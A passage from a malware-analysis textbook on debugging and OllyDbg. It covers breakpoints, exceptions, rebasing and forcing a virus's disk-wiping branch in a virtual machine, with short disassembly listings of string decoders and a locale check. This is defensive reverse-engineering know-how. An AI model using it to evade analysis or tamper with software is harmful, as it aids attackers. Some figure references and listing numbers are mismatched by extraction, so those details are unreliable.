nel debugging. WinDbg is currently the only popular tool that supports kernel 
debugging. OllyDbg is the most popular debugger for malware analysts, but 
168 Chapter 8



it does not support kernel debugging. WinDbg supports user-mode debug-
ging as well, and IDA Pro has a built-in debugger, but these do not offer the 
same features or ease of use as OllyDbg.

Using a Debugger

There are two ways to debug a program. The first is to start the program with 
the debugger. When you start the program and it is loaded into memory, it 
stops running immediately prior to the execution of its entry point. At this 
point, you have complete control of the program. 

You can also attach a debugger to a program that is already running. 
All the program’s threads are paused, and you can debug it. This is a good 
approach when you want to debug a program after it has been running or if 
you want to debug a process that is affected by malware. 

Single-Stepping
The simplest thing you can do with a debugger is to single-step through a pro-
gram, which means that you run a single instruction and then return control 
to the debugger. Single-stepping allows you to see everything going on within 
a program. 

It is possible to single-step through an entire program, but you should 
not do it for complex programs because it can take such a long time. Single-
stepping is a good tool for understanding the details of a section of code, but 
you must be selective about which code to analyze. Focus on the big picture, 
or you’ll get lost in the details.

For example, the disassembly in Listing 8-1 shows how you might use a 
debugger to help understand a section of code. 

mov edi, DWORD_00406904
mov ecx, 0x0d
LOC_040106B2
xor [edi], 0x9C
inc edi
loopw LOC_040106B2
...
DWORD:00406904:   F8FDF3D0

Listing 8-1: Stepping through code

The listing shows a data address accessed and modified in a loop. The 
data value shown at the end  doesn’t appear to be ASCII text or any other 
recognizable value, but you can use a debugger to step through this loop to 
reveal what this code is doing.

If we were to single-step through this loop with either WinDbg or Olly-
Dbg, we would see the data being modified. For example, in Listing 8-2, you 
see the 13 bytes modified by this function changing each time through the 
loop. (This listing shows the bytes at those addresses along with their ASCII 
representation.)
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D0F3FDF8 D0F5FEEE FDEEE5DD 9C (.............)
4CF3FDF8 D0F5FEEE FDEEE5DD 9C (L............)
4C6FFDF8 D0F5FEEE FDEEE5DD 9C (Lo...........)
4C6F61F8 D0F5FEEE FDEEE5DD 9C (Loa..........)
. . . SNIP . . .
4C6F6164 4C696272 61727941 00 (LoadLibraryA.)

Listing 8-2: Single-stepping through a section of code to see how it changes memory

With a debugger attached, it is clear that this function is using a single-
byte XOR function to decode the string LoadLibraryA. It would have been 
more difficult to identify that string with only static analysis.

Stepping-Over vs. Stepping-Into
When single-stepping through code, the debugger stops after every instruc-
tion. However, while you are generally concerned with what a program is 
doing, you may not be concerned with the functionality of each call. For 
example, if your program calls LoadLibrary, you probably don’t want to step 
through every instruction of the LoadLibrary function. 

To control the instructions that you see in your debugger, you can step-
over or step-into instructions. When you step-over call instructions, you bypass 
them. For example, if you step-over a call, the next instruction you will see in 
your debugger will be the instruction after the function call returns. If, on 
the other hand, you step-into a call instruction, the next instruction you will 
see in the debugger is the first instruction of the called function. 

Stepping-over allows you to significantly decrease the amount of instruc-
tions you need to analyze, at the risk of missing important functionality if 
you step-over the wrong functions. Additionally, certain function calls never 
return, and if your program calls a function that never returns and you step-
over it, the debugger will never regain control. When this happens (and it 
probably will), restart the program and step to the same location, but this 
time, step-into the function.

NOTE This is a good time to use VMware’s record/replay feature. When you step-over a func-
tion that never returns, you can replay the debugging session and correct your mistake. 
Start a recording when you begin debugging. Then, when you step-over a function that 
never returns, stop the recording. Replay it to just before you stepped-over the function, 
and then stop the replay and take control of the machine, but this time, step-into the 
function.

When stepping-into a function, it is easy to quickly begin single-stepping 
through instructions that have nothing to with what you are analyzing. When 
analyzing a function, you can step-into a function that it calls, but then it 
will call another function, and then another. Before long, you are analyzing 
code that has little or no relevance to what you are seeking. Fortunately, most 
debuggers will allow you to return to the calling function, and some debug-
gers have a step-out function that will run until after the function returns. 
170 Chapter 8



Other debuggers have a similar feature that executes until a return instruc-
tion immediately prior to the end of the function.

Pausing Execution with Breakpoints
Breakpoints are used to pause execution and allow you to examine a pro-
gram’s state. When a program is paused at a breakpoint, it is referred to as 
broken. Breakpoints are needed because you can’t access registers or mem-
ory addresses while a program is running, since these values are constantly 
changing.

Listing 8-3 demonstrates where a breakpoint would be useful. In this 
example, there is a call to EAX. While a disassembler couldn’t tell you which 
function is being called, you could set a breakpoint on that instruction to 
find out. When the program hits the breakpoint, it will be stopped, and the 
debugger will show you the value of EAX, which is the destination of the 
function being called.

00401008   mov     ecx, [ebp+arg_0]
0040100B   mov     eax, [edx]
0040100D   call    eax

Listing 8-3: Call to EAX

Another example in Listing 8-4 shows the beginning of a function with a 
call to CreateFile to open a handle to a file. In the assembly, it is difficult to 
determine the name of the file, although part of the name is passed in as a 
parameter to the function. To find the file in disassembly, you could use IDA 
Pro to search for all the times that this function is called in order to see which 
arguments are passed, but those values could in turn be passed in as parame-
ters or derived from other function calls. It could very quickly become diffi-
cult to determine the filename. Using a debugger makes this task very easy.

0040100B  xor     eax, esp
0040100D  mov     [esp+0D0h+var_4], eax
00401014  mov     eax, edx
00401016  mov     [esp+0D0h+NumberOfBytesWritten], 0
0040101D  add     eax, 0FFFFFFFEh
00401020  mov     cx, [eax+2]
00401024  add     eax, 2
00401027  test    cx, cx
0040102A  jnz     short loc_401020
0040102C  mov     ecx, dword ptr ds:a_txt ; ".txt"
00401032  push    0               ; hTemplateFile
00401034  push    0               ; dwFlagsAndAttributes
00401036  push    2               ; dwCreationDisposition
00401038  mov     [eax], ecx
0040103A  mov     ecx, dword ptr ds:a_txt+4
00401040  push    0               ; lpSecurityAttributes
00401042  push    0               ; dwShareMode
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00401044  mov     [eax+4], ecx
00401047  mov     cx, word ptr ds:a_txt+8
0040104E  push    0               ; dwDesiredAccess
00401050  push    edx             ; lpFileName
00401051  mov     [eax+8], cx
00401055call    CreateFileW ; CreateFileW(x,x,x,x,x,x,x)

Listing 8-4: Using a debugger to determine a filename

We set a breakpoint on the call to CreateFileW at , and then look at 
the values on the stack when the breakpoint is triggered. Figure 8-1 shows a 
screenshot of the same instruction at a breakpoint within the WinDbg debug-
ger. After the breakpoint, we display the first parameter to the function as an 
ASCII string using WinDbg. (You’ll learn how to do this in Chapter 10, which 
covers WinDbg.)

Figure 8-1: Using a breakpoint to see the parameters to a function call. We set a break-
point on CreateFileW and then examine the first parameter of the stack.

In this case, it is clear that the file being created is called LogFile.txt. 
While we could have figured this out with IDA Pro, it was faster and easier 
to get the information with a debugger. 

Now imagine that we have a piece of malware and a packet capture. In 
the packet capture, we see encrypted data. We can find the call to send, and 
we discover the encryption code, but it is difficult to decrypt the data our-
selves, because we don’t know the encryption routine or key. Luckily, we can 
use a debugger to simplify this task because encryption routines are often 
separate functions that transform the data. 

If we can find where the encryption routine is called, we can set a break-
point before the data is encrypted and view the data being sent, as shown in 
the disassembly for this function at  in Listing 8-5. 
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004010D0  sub     esp, 0CCh
004010D6  mov     eax, dword_403000
004010DB  xor     eax, esp
004010DD  mov     [esp+0CCh+var_4], eax
004010E4  lea     eax, [esp+0CCh+buf]
004010E7  call    GetData
004010EC  lea     eax, [esp+0CCh+buf]
004010EFcall    EncryptData
004010F4  mov     ecx, s
004010FA  push    0               ; flags
004010FC  push    0C8h            ; len
00401101  lea     eax, [esp+0D4h+buf]
00401105  push    eax             ; buf
00401106  push    ecx             ; s
00401107  call    ds:Send

Listing 8-5: Using a breakpoint to view data before the program encrypts it

Figure 8-2 shows a debug window from OllyDbg that displays the buffer 
in memory prior to being sent to the encryption routine. The top window 
shows the instruction with the breakpoint, and the bottom window displays 
the message. In this case, the data being sent is Secret Message, as shown in the 
ASCII column at the bottom right.

Figure 8-2: Viewing program data prior to the encryption function call 

You can use several different types of breakpoints, including software 
execution, hardware execution, and conditional breakpoints. Although all 
breakpoints serve the same general purpose, depending on the situation, 
certain breakpoints will not work where others will. Let’s look at how each 
one works.

Software Execution Breakpoints

So far, we have been talking about software execution breakpoints, which cause a 
program to stop when a particular instruction is executed. When you set a 
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breakpoint without any options, most popular debuggers set a software exe-
cution breakpoint by default. 

The debugger implements a software breakpoint by overwriting the 
first byte of an instruction with 0xCC, the instruction for INT 3, the breakpoint 
interrupt designed for use with debuggers. When the 0xCC instruction is exe-
cuted, the OS generates an exception and transfers control to the debugger.

Table 8-1 shows a memory dump and disassembly of a function with a 
breakpoint set, side by side.

The function starts with push ebp at , which corresponds to the opcode 
0x55, but the function in the memory dump starts with the bytes 0xCC at , 
which represents the breakpoint. 

In the disassembly window, the debugger shows the original instruction, 
but in a memory dump produced by a program other than the debugger, it 
shows actual bytes stored at that location. The debugger’s memory dump will 
show the original 0x55 byte, but if a program is reading its own code or an 
external program is reading those bytes, the 0xCC value will be shown.

If these bytes change during the execution of the program, the break-
point will not occur. For example, if you set a breakpoint on a section of 
code, and that code is self-modifying or modified by another section of code, 
your breakpoint will be erased. If any other code is reading the memory of 
the function with a breakpoint, it will read the 0xCC bytes instead of the origi-
nal byte. Also, any code that verifies the integrity of that function will notice 
the discrepancy.

You can set an unlimited number of software breakpoints in user mode, 
although there may be limits in kernel mode. The code change is small and 
requires only a small amount of memory for recordkeeping in the debugger.

Hardware Execution Breakpoints

The x86 architecture supports hardware execution breakpoints through dedi-
cated hardware registers. Every time the processor executes an instruction, 
there is hardware to detect if the instruction pointer is equal to the break-
point address. Unlike software breakpoints, with hardware breakpoints, it 
doesn’t matter which bytes are stored at that location. For example, if you set 
a breakpoint at address 0x00401234, the processor will break at that location, 
regardless of what is stored there. This can be a significant benefit when 
debugging code that modifies itself. 

Hardware breakpoints have another advantage over software break-
points in that they can be set to break on access rather than on execution. 
For example, you can set a hardware breakpoint to break whenever a certain 

Table 8-1: Disassembly and Memory Dump of a Function with a Breakpoint Set

Disassembly view Memory dump

00401130 55               push    ebp
00401131 8B EC              mov     ebp, esp
00401133 83 E4 F8           and     esp, 0FFFFFFF8h
00401136 81 EC A4 03 00 00  sub     esp, 3A4h
0040113C A1 00 30 40 00     mov     eax, dword_403000

00401130CC 8B EC 83
00401134  E4 F8 81 EC
00401138  A4 03 00 00
0040113C  A1 00 30 40
00401140  00
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memory location is read or written. If you’re trying to determine what the 
value stored at a memory location signifies, you could set a hardware break-
point on the memory location. Then, when there is a write to that location, 
the debugger will break, regardless of the address of the instruction being 
executed. (You can set access breakpoints to trigger on reads, writes, or both.)

Unfortunately, hardware execution breakpoints have one major draw-
back: only four hardware registers store breakpoint addresses. 

One further drawback of hardware breakpoints is that they are easy to 
modify by the running program. There are eight debug registers in the chip-
set, but only six are used. The first four, DR0 through DR3, store the address 
of a breakpoint. The debug control register (DR7) stores information on 
whether the values in DR0 through DR3 are enabled and whether they repre-
sent read, write, or execution breakpoints. Malicious programs can modify 
these registers, often to interfere with debuggers. Thankfully, x86 chips have 
a feature to protect against this. By setting the General Detect flag in the DR7 
register, you will trigger a breakpoint to occur prior to executing any mov 
instruction that is accessing a debug register. This will allow you to detect 
when a debug register is changed. Although this method is not perfect (it 
detects only mov instructions that access the debug registers), it’s valuable 
nonetheless. 

Conditional Breakpoints

Conditional breakpoints are software breakpoints that will break only if a cer-
tain condition is true. For example, suppose you have a breakpoint on the 
function GetProcAddress. This will break every time that GetProcAddress is called. 
But suppose that you want to break only if the parameter being passed to 
GetProcAddress is RegSetValue. This can be done with a conditional breakpoint. 
In this case, the condition would be the value on the stack that corresponds 
to the first parameter. 

Conditional breakpoints are implemented as software breakpoints that 
the debugger always receives. The debugger evaluates the condition, and 
if the condition is not met, it automatically continues execution without 
alerting the user. Different debuggers support different conditions.

Breakpoints take much longer to run than ordinary instructions, and 
your program will slow down considerably if you set a conditional breakpoint 
on an instruction that is accessed often. In fact, the program may slow down 
so much that it will never finish. This is not a concern for unconditional 
breakpoints, because the extent to which the program slows down is irrele-
vant when compared to the amount of time it takes to examine the program 
state. Despite this drawback, conditional breakpoints can prove really useful 
when you are dissecting a narrow segment of code.

Exceptions

Exceptions are the principal way that a debugger gains control of a running 
program. Under the hood, even breakpoints generate exceptions, but non-
debugging related events, such as invalid memory accesses and division by 
zero, will do so as well. 
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Exceptions are not specific to malware, malware analysis, or debugging. 
They are often caused by bugs, which is why debuggers usually handle them. 
But exceptions can also be used to govern the flow of execution in a normal 
program without involving a debugger. There is functionality in place to 
ensure that the debugger and the program being debugged can both use 
exceptions.

First- and Second-Chance Exceptions
Debuggers are usually given two opportunities to handle the same exception: 
a first-chance exception and a second-chance exception. 

When an exception occurs while a debugger is attached, the program 
being debugged stops executing, and the debugger is given a first chance at 
control. The debugger can handle the exception or pass it to the program. 
(When debugging a program, you will need to decide how to handle excep-
tions, even if they are unrelated to the code you’re interested in.)

If the program has a registered exception handler, that is given a chance 
to handle the exception after the debugger’s first chance. For example, a cal-
culator program could register an exception handler for the divide-by-zero 
exception. If the program executes a divide-by-zero operation, the exception 
handler can inform the user of the error and continue to execute. This is 
what happens when a program runs without a debugger attached. 

If an application does not handle the exception, the debugger is given 
another chance to handle it—the second-chance exception. When the debugger 
receives a second-chance exception, it means that program would have 
crashed if the debugger were not attached. The debugger must resolve 
the exception to allow the program to run.

When analyzing malware, you are generally not looking for bugs, so first-
chance exceptions can often be ignored. (Malware may intentionally gener-
ate first-chance exceptions in order to make the program difficult to debug, 
as you’ll learn in Chapters 15 and 16.)

Second-chance exceptions cannot be ignored, because the program 
cannot continue running. If you encounter second-chance exceptions while 
debugging malware, there may be bugs in the malware that are causing it to 
crash, but it is more likely that the malware doesn’t like the environment in 
which it is running.

Common Exceptions
There are several common exceptions. The most common exception is one 
that occurs when the INT 3 instruction is executed. Debuggers have special 
code to handle INT 3 exceptions, but OSs treat these as any other exception. 

Programs may include their own instructions for handling INT 3 excep-
tions, but when a debugger is attached, it will get the first chance. If the 
debugger passes the exception to the program, the program’s exception 
handler should handle it. 

Single-stepping is also implemented as an exception within the OS. 
A flag in the flags register called the trap flag is used for single-stepping. 
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When the trap flag is set, the processor executes one instruction and then 
generates an exception.

A memory-access violation exception is generated when code tries to access 
a location that it cannot access. This exception usually occurs because the 
memory address is invalid, but it may occur because the memory is not acces-
sible due to access-control protections. 

Certain instructions can be executed only when the processor is in privi-
leged mode. When the program attempts to execute them outside privileged 
mode, the processor generates an exception. 

NOTE Privileged mode is the same as kernel mode, and nonprivileged mode is the same 
as user mode. The terms privileged and nonprivileged are more commonly used 
when talking about the processor. Examples of privileged instructions are ones that 
write to hardware or modify the memory page tables.

Modifying Execution with a Debugger

Debuggers can be used to change program execution. You can change the 
control flags, the instruction pointer, or the code itself to modify the way that 
a program executes. 

For example, to avoid a function call, you could set a breakpoint where 
the function is called. When the breakpoint is hit, you could set the instruc-
tion pointer to the instruction after the call, thus preventing the call from 
taking place. If the function is particularly important, the program might not 
run properly when it is skipped or it might crash. If the function does not 
impact other areas of the program, the program might continue running 
without a problem.

You can also use a debugger to change the instruction pointer. For 
example, say you have a function that manipulates a string called encodeString, 
but you can’t determine where encodeString is called. You can use a debugger 
to run a function without knowing where the function is called. To debug 
encodeString to see what happens if the input string is "Hello World", for 
instance, set the value at esp+4 to a pointer to the string "Hello World". You 
could then set the instruction pointer to the first instruction of encodeString 
and single-step through the function to see what it does. Of course, in doing 
so, you destroy the program’s stack, and the program won’t run properly 
once the function is complete, but this technique can prove extremely useful 
when you just want to see how a certain section of code behaves. 

Modifying Program Execution in Practice

The last example in this chapter comes from a real virus that performed dif-
ferently depending on the language settings of the computer infected. If the 
language setting was simplified Chinese, the virus uninstalled itself from the 
machine and caused no damage. If the language setting was English, it dis-
played a pop-up with a poorly translated message saying, “You luck’s so good.” 
If the language setting was Japanese or Indonesian, the virus overwrote the 
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hard drive with garbage data in an effort to destroy the computer. Let’s see 
how we could analyze what this program would do on a Japanese system with-
out actually changing our language settings. 

Listing 8-7 shows the assembly code for differentiating between language 
settings. The program first calls the function GetSystemDefaultLCID. Next, based 
on the return value, the program calls one of three different functions: The 
locale IDs for English, Japanese, Indonesian, and Chinese are 0x0409, 0x0411, 
0x0421, and 0x0C04, respectively.

00411349   call    GetSystemDefaultLCID
0041134F mov     [ebp+var_4], eax
00411352   cmp     [ebp+var_4], 409h
00411359   jnz     short loc_411360
0041135B   call    sub_411037
00411360   cmp     [ebp+var_4], 411h
00411367   jz      short loc_411372
00411369   cmp     [ebp+var_4], 421h
00411370   jnz     short loc_411377
00411372   call    sub_41100F 
00411377   cmp     [ebp+var_4], 0C04h
0041137E   jnz     short loc_411385
00411380   call    sub_41100A

Listing 8-6: Assembly for differentiating between language settings

The code calls the function at 0x411037 if the language is English, 0x41100F 
if the language is Japanese or Indonesian, and 0x411001 if the language is 
Chinese. In order to analyze this properly, we need to execute the code that 
runs when the system locale setting is Japanese or Indonesian. We can use a 
debugger to force the code to run this code path without changing the set-
tings on our system by setting a breakpoint at  to change the return value. 
Specifically, if you were running on a US English system, EAX would store 
the value 0x0409. You could change EAX in the debugger to 0x411, and then 
continue running the program so that it would execute the code as if you 
were running on a Japanese language system. Of course, you would want to 
do this only in a disposable virtual machine.

Conclusion

Debugging is a critical tool for obtaining information about a malicious pro-
gram that would be difficult to obtain through disassembly alone. You can 
use a debugger to single-step through a program to see exactly what’s hap-
pening internally or to set breakpoints to get information about particular 
sections of code. You can also use a debugger to modify the execution of a 
program in order to gain additional information. 

It takes practice to be able to analyze malware effectively with a debug-
ger. The next two chapters cover the specifics of using the OllyDbg and 
WinDbg debuggers.
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O L L Y D B G

This chapter focuses on OllyDbg, an x86 debugger 
developed by Oleh Yuschuk. OllyDbg provides the abil-
ity to analyze malware while it is running. OllyDbg is 
commonly used by malware analysts and reverse engi-
neers because it’s free, it’s easy to use, and it has many 
plug-ins that extend its capabilities.

OllyDbg has been around for more than a decade and has an interesting 
history. It was first used to crack software, even before it became popular for 
malware analysis. It was the primary debugger of choice for malware analysts 
and exploit developers, until the OllyDbg 1.1 code base was purchased by the 
Immunity security company and rebranded as Immunity Debugger (ImmDbg). 
Immunity’s goal was to gear the tool toward exploit developers and to patch 
bugs in OllyDbg. ImmDbg ended up cosmetically modifying the OllyDbg 
GUI and adding a fully functional Python interpreter with API, which led 
some users to begin using ImmDbg instead of OllyDbg.



That said, if you prefer ImmDbg, don’t worry, because it is basically the 
same as OllyDbg 1.1, and everything you’ll learn in this chapter applies to 
both. The only item of note is that many plug-ins for OllyDbg won’t automat-
ically run in ImmDbg. Therefore, until they are ported, in ImmDbg you may 
lose access to those OllyDbg plug-ins. ImmDbg does have its benefits, such as 
making it easier to extend functionality through the use of the Python API, 
which we discuss in “Scriptable Debugging” on page 200.

Adding to OllyDbg’s complicated history, version 2.0 was released in 
June 2010. This version was written from the ground up, but many consider 
it to be a beta version, and it is not in widespread use as of this writing. 
Throughout this chapter and the remainder of this book, we will point out 
times when version 2.0 has a useful applicable feature that does not exist in 
version 1.1.

Loading Malware

There are several ways to begin debugging malware with OllyDbg. You can 
load executables and even DLLs directly. If malware is already running on 
your system, you can attach to the process and debug that way. OllyDbg pro-
vides a flexible system to run malware with command-line options or to exe-
cute specific functionality within a DLL.

Opening an Executable
The easiest way to debug malware is to select FileOpen, and then browse to 
the executable you wish to load, as shown in Figure 9-1. If the program you 
are debugging requires arguments, specify them in the Arguments field of 
the Open dialog. (During loading is the only time you can pass command-
line arguments to OllyDbg.)

Figure 9-1: Opening an executable with command-line 
options
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Once you’ve opened an executable, OllyDbg will load the binary using 
its own loader. This works similarly to the way that the Windows OS loads 
a file.

By default, OllyDbg will pause at the software developer’s entry point, 
known as WinMain, if its location can be determined. Otherwise, it will break at 
the entry point as defined in the PE header. You can change these startup 
options by selecting from OllyDbg’s Debugging Options menu (Options
Debugging Options). For example, to break immediately before any code 
executes, select System Breakpoint as the startup option.

NOTE OllyDbg 2.0 has more breaking capabilities than version 1.1. For example, it can be set 
to pause at the start of a TLS callback. TLS callbacks can allow malware to execute 
before OllyDbg pauses execution. In Chapter 16, we discuss how TLS callbacks can be 
used for anti-debugging and how to protect yourself from them.

Attaching to a Running Process
In addition to opening an executable directly, you can attach OllyDbg to a 
running process. You’ll find this feature useful when you want to debug run-
ning malware.

To attach OllyDbg to a process, select FileAttach. This will bring up a 
menu in which you can select the process to which you want to attach. (You’ll 
need to know the process ID if there is more than one process with the same 
name.) Next, select the process and choose Attach from the menu. OllyDbg 
should break in and pause the program and all threads.

Once you are attached with OllyDbg, the current executing thread’s 
code will be paused and displayed on your screen. However, you might have 
paused while it was executing an instruction from within a system DLL. You 
don’t want to debug Windows libraries, so when this happens, the easiest 
way to get to the main code is to set a breakpoint on access to the entire 
code section. This will cause the program to break execution the next time 
the code section is accessed. We will explain setting breakpoints like these 
later in this chapter.

The OllyDbg Interface

As soon as you load a program into OllyDbg, you will see four windows filled 
with information that you will find useful for malware analysis, as shown in 
Figure 9-2.
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Figure 9-2: The OllyDbg interface

These windows display information as follows:

Disassembler window  This window shows the debugged program’s 
code—the current instruction pointer with several instructions before 
and after it. Typically, the next instruction to be executed will be high-
lighted in this window. To modify instructions or data (or add new 
assembly instructions), press the spacebar within this window.

Stack window  This window shows the current state of the stack in 
memory for the thread being debugged. This window will always show 
the top of the stack for the given thread. You can manipulate stacks in 
this window by right-clicking a stack location and selecting Modify. 
OllyDbg places useful comments on some stack locations that describe 

Registers window  This window 
shows the current state of the registers 
for the debugged program. As the code 
is debugged, these registers will change 
color from black to red once the previ-
ously executed instruction has modified 
the register. As in the disassembler win-
dow, you can modify data in the registers 
window as the program is debugged by 
right-clicking any register value and 
selecting Modify. You will be presented 
with the Modify dialog, as shown in Fig-
ure 9-3. You can then change the value.

Figure 9-3: Modifying a register

�

� �

�
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the arguments placed on the stack before an API call. These aid analysis, 
since you won’t need to figure out the stack order and look up the API 
argument ordering.

Memory dump window  This window shows a dump of live memory 
for the debugged process. Press CTRL-G in this window and enter a 
memory location to dump any memory address. (Or click a memory 
address and select Follow in Dump to dump that memory address.) 
To edit memory in this window, right-click it and choose BinaryEdit. 
This can be used to modify global variables and other data that malware 
stores in RAM.

Memory Map

The Memory Map window (ViewMemory) displays all memory blocks allo-
cated by the debugged program. Figure 9-4 shows the memory map for the 
Netcat program.

Figure 9-4: Memory map for Netcat (nc.exe)

The memory map is great way to see how a program is laid out in memory. 
As you can see in Figure 9-4, the executable is labeled along with its code and 
data sections. All DLLs and their code and data sections are also viewable. 
You can double-click any row in the memory map to show a memory dump of 
that section. Or you can send the data in a memory dump to the disassembler 
window by right-clicking it and selecting View in Disassembler.
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Rebasing
The memory map can help you understand how a PE file is rebased during 
runtime. Rebasing is what happens when a module in Windows is not loaded 
at its preferred base address.

Base Addresses

All PE files in Windows have a preferred base address, known as the image 
base defined in the PE header.

The image base isn’t necessarily the address where the malware will be 
loaded, although it usually is. Most executables are designed to be loaded at 
0x00400000, which is just the default address used by many compilers for the 
Windows platform. Developers can choose to base executables at different 
addresses. Executables that support address space layout randomization (ASLR) 
security enhancement will often be relocated. That said, relocation of DLLs 
is much more common.

Relocation is necessary because a single application may import many 
DLLs, each with a preferred base address in memory where they would like 
to be loaded. If two DLLs are loaded, and they both have the preferred load 
address of 0x10000000, they can’t both be loaded there. Instead, Windows 
will load one of the DLLs at that address, and then relocate the other DLL 
somewhere else.

Most DLLs that are shipped with the Windows OS have different pre-
ferred base addresses and won’t collide. However, third-party applications 
often have the same preferred base address.

Absolute vs. Relative Addresses

The relocation process is more involved than simply loading the code at 
another location. Many instructions refer to relative addresses in memory, 
but others refer to absolute ones. For example, Listing 9-1 shows a typical 
series of instructions.

00401203 mov eax, [ebp+var_8] 
00401206 cmp [ebp+var_4], 0 
0040120a jnz loc_0040120
0040120c mov eax, dword_40CF60

Listing 9-1: Assembly code that requires relocation

Most of these instructions will work just fine, no matter where they are 
loaded in memory since they use relative addresses. However, the data-access 
instruction at  will not work, because it uses an absolute address to access a 
memory location. If the file is loaded into memory at a location other than 
the preferred base location, then that address will be wrong. This instruction 
must be changed when the file is loaded at a different address. Most DLLs 
will come packaged with a list of these fix-up locations in the .reloc section of 
the PE header.
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DLLs are loaded after the .exe and in any order. This means you cannot 
generally predict where DLLs will be located in memory if they are rebased. 
DLLs can have their relocation sections removed, and if a DLL lacking a 
relocation section cannot be loaded at its preferred base address, then it 
cannot be loaded.

The relocating of DLLs is bad for performance and adds to load time. 
The compiler will select a default base address for all DLLs when they are 
compiled, and generally the default base address is the same for all DLLs. 
This fact greatly increases the likelihood that relocation will occur, because 
all DLLs are designed to be loaded at the same address. Good programmers 
are aware of this, and they select base addresses for their DLLs in order to 
minimize relocation.

Figure 9-5 illustrates DLL relocation using the memory map functional-
ity of OllyDbg for EXE-1. As you can see, we have one executable and two 
DLLs. DLL-A, with a preferred load address of 0x10000000, is already in 
memory. EXE-1 has a preferred load address of 0x00400000. When DLL-B 
was loaded, it also had preferred load address of 0x10000000, so it was relo-
cated to 0x00340000. All of DLL-B’s absolute address memory references are 
changed to work properly at this new address.

Figure 9-5: DLL-B is relocated into a different 
memory address from its requested location

If you’re looking at DLL-B in IDA Pro while also debugging the applica-
tion, the addresses will not be the same, because IDA Pro has no knowledge 
of rebasing that occurs at runtime. You may need to frequently adjust every 
time you want to examine an address in memory that you got from IDA Pro. 
To avoid this issue, you can use the manual load process we discussed in 
Chapter 5.

Viewing Threads and Stacks

Malware often uses multiple threads. You can view the current threads within 
a program by selecting ViewThreads to bring up the Threads window. This 
window shows the memory locations of the threads and their current status 
(active, paused, or suspended).

Since OllyDbg is single-threaded, you might need to pause all of the 
threads, set a breakpoint, and then continue to run the program in order to 
begin debugging within a particular thread. Clicking the pause button in the 
main toolbar pauses all active threads. Figure 9-6 shows an example of the 
Threads window after all five threads have been paused.
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You can also kill individual threads by right-clicking an individual thread, 
which displays the options shown in Figure 9-6, and selecting Kill Thread.

Figure 9-6: Threads window showing five paused threads and the 
context menu for an individual thread

Each thread in a given process has its own stack, and important data is 
often stored on the stack. You can use the memory map to view the stacks in 
memory. For example, in Figure 9-4, you can see that OllyDbg has labeled 
the main thread stack as “stack of main thread.”

Executing Code

A thorough knowledge and ability to execute code within a debugger is 
important to debugging success, and there are many different ways to exe-
cute code in OllyDbg. Table 9-1 lists the most popular methods.

The simplest options, Run and Pause, cause a program to start or stop 
running. However, Pause is seldom used, because it can cause a program to 
pause in a location that is not very useful (such as on library code). Rather 
than use Pause, you will typically want to be more selective by setting break-
points, as discussed in the next section.

Table 9-1: OllyDbg Code-Execution Options

Function Menu Hotkey Button

Run/Play DebugRun F9

Pause DebugPause F12

Run to selection BreakpointRun to Selection F4

Run until return DebugExecute till Return CTRL-F9

Run until user code DebugExecute till User Code ALT-F9

Single-step/step-into DebugStep Into F7

Step-over DebugStep Over F8
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The Run option is used frequently to restart a stopped process, often 
after hitting a breakpoint, in order to continue execution. The Run to Selec-
tion option will execute the code until just before the selected instruction is 
executed. If the selected instruction is never executed, the program will run 
indefinitely.

The Execute till Return option will pause execution just before the cur-
rent function is set to return. This can be useful when you want a program to 
pause immediately after the current function is finished executing. However, 
if the function never ends, the program will continue to run indefinitely.

The Execute till User Code option is useful during malware analysis when 
you get lost in library code while debugging. When paused within library code, 
select DebugExecute till User Code to cause the program to run until the 
execution returns to compiled malware code (typically the .text section) you 
were debugging.

OllyDbg provides several ways to step through code. As discussed in 
Chapter 8, stepping refers to the concept of executing a single instruction, 
and then immediately pausing execution afterward, allowing you to keep 
track of the program instruction by instruction.

OllyDbg offers the two types of stepping described in the previous chapter: 
single-stepping (also known as stepping-into) and stepping-over. To single-step, 
press the F7 key. To step-over, press F8.

As we noted, single-stepping is the easiest form of stepping and means 
that OllyDbg will execute a single instruction and then pause, no matter 
which type of instruction you are executing. For example, if you single-step 
the instruction call 01007568, OllyDbg will pause at the address 01007568 
(because the call instruction transferred EIP to that address).

Conceptually, stepping-over is almost as simple as single-stepping. Con-
sider the following listing of instructions:

010073a4 call 01007568
010073a9 xor ebx, ebx

If you step-over the call instruction, OllyDbg will immediately pause exe-
cution at 010073a9 (the xor ebx, ebx instruction after the call). This is useful 
because you may not want to dive into the subroutine located at 01007568.

Although stepping-over is conceptually simple, under the hood, it is 
much more complicated. OllyDbg places a breakpoint at 010073a9, resumes 
execution (as if you had hit the Run button), and then when the subroutine 
eventually executes a ret instruction, it will pause at 010073a9 due to the hid-
den breakpoint.

WARNING In almost all cases, stepping-over will work as expected. But in rare cases, it’s possible 
for obfuscated or malicious code to take advantage of this process. For example, the 
subroutine at 01007568 might never execute a ret, or it could be a so-called get-EIP 
operation that pops the return address off the stack. In rare cases such as these, stepping-
over could cause the program to resume execution without ever pausing, so be aware 
and use it cautiously.
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Breakpoints

As discussed in Chapter 8, there are several different types of breakpoints, 
and OllyDbg supports all of those types. By default, it uses software break-
points, but you can also use hardware breakpoints. Additionally, you can set 
conditional breakpoints, as well as set breakpoints on memory.

You can add or remove a breakpoint by selecting the instruction in the 
disassembler window and pressing F2. You can view the active breakpoints 
in a program by selecting ViewBreakpoints or clicking the B icon in the 
toolbar.

After you close or terminate a debugged program, OllyDbg will typically 
save the breakpoint locations you set, which will enable you to debug the pro-
gram again with the same breakpoints (so you don’t need to set the break-
points again). Table 9-2 shows a complete listing of OllyDbg’s breakpoints.

Software Breakpoints
Software breakpoints are particularly useful when debugging a string decoder 
function. Recall from Chapter 1 that strings can be a useful way to gain 
insight into a program’s functionality, which is why malware authors often 
try to obfuscate strings. When malware authors do this, they often use a string 
decoder, which is called before each string is used. Listing 9-2 shows an 
example with calls to String_Decoder after obfuscated data is pushed on the 
stack.

push offset "4NNpTNHLKIXoPm7iBhUAjvRKNaUVBlr"
call String_Decoder
...
push offset "ugKLdNlLT6emldCeZi72mUjieuBqdfZ"
call String_Decoder
...

Listing 9-2: A string decoding breakpoint

The obfuscated data is often decoded into a useful string on the stack, so 
the only way to see it is to view the stack once the string decoder is complete. 
Therefore, the best place to set a breakpoint to view all of the strings is at the 
end of the string decoder routine. In this way, each time you choose Play in 
OllyDbg, the program will continue executing and will break when a string is 

Table 9-2: OllyDbg Breakpoint Options

Function Right-click menu selection Hotkey

Software breakpoint BreakpointToggle F2

Conditional breakpoint BreakpointConditional SHIFT-F2

